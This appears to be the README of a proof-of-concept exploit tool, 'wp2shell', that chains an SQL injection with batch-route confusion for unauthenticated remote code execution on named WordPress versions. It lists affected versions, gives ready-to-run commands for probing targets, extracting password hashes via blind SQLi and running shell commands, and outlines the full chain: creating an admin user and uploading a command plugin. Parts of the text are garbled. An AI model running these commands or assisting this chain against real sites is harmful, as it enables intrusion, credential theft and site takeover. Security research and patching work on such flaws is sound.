h4cd0c/wp2shellwp2shell — Pre-authentication RCE in WordPress Core (CVE-2026-60137 + CVE-2026-63030). Chains an SQL injection in author__not_in with batch-route confusion for unauthenticated remote code execution on WP 6.9.0–6.9.4 / 7.0.0–7.0.1.
| Range | Status |
|---|
| <= 6.8.5 | Not affected (no batch confusion) |
| 6.8.0 - 6.8.5 | SQLi only, no RCE |
| 6.9.0 - 6.9.4 | Vulnerable |
| 7.0.0 - 7.0.1 | Vulnerable |
| 7.0.2+ / 6.9.5+ | Patched |
python3 poc.py -u TARGET_URL
python3 poc.py -u TARGET_URL --sql "SELECT user_pass FROM wp_users LIMIT 1"
python3 poc.py -u TARGET_URL -c "id"
| Arguments | Behavior |
|---|---|
-u TARGET_URL | Check if vulnerable (timing probe) |
-u TARGET_URL --sql "SQL" | Extract scalar via blind SQLi |
-u TARGET_URL -c "CMD" | Full RCE chain |
/batch/v1) to desync request handling and bypass authenticationauthor_exclude parameter via SLEEP() timing oracleVulnerability check → Seed oEmbed posts → Extract table name (blind SQLi)
→ Extract admin ID (blind SQLi) → Extract cache post IDs (blind SQLi)
→ Inject poisoned changeset via batch → Create admin user
→ Login → Upload command plugin → Execute command → Cleanup
author__not_in: discovered by TF1T, dtro, haongo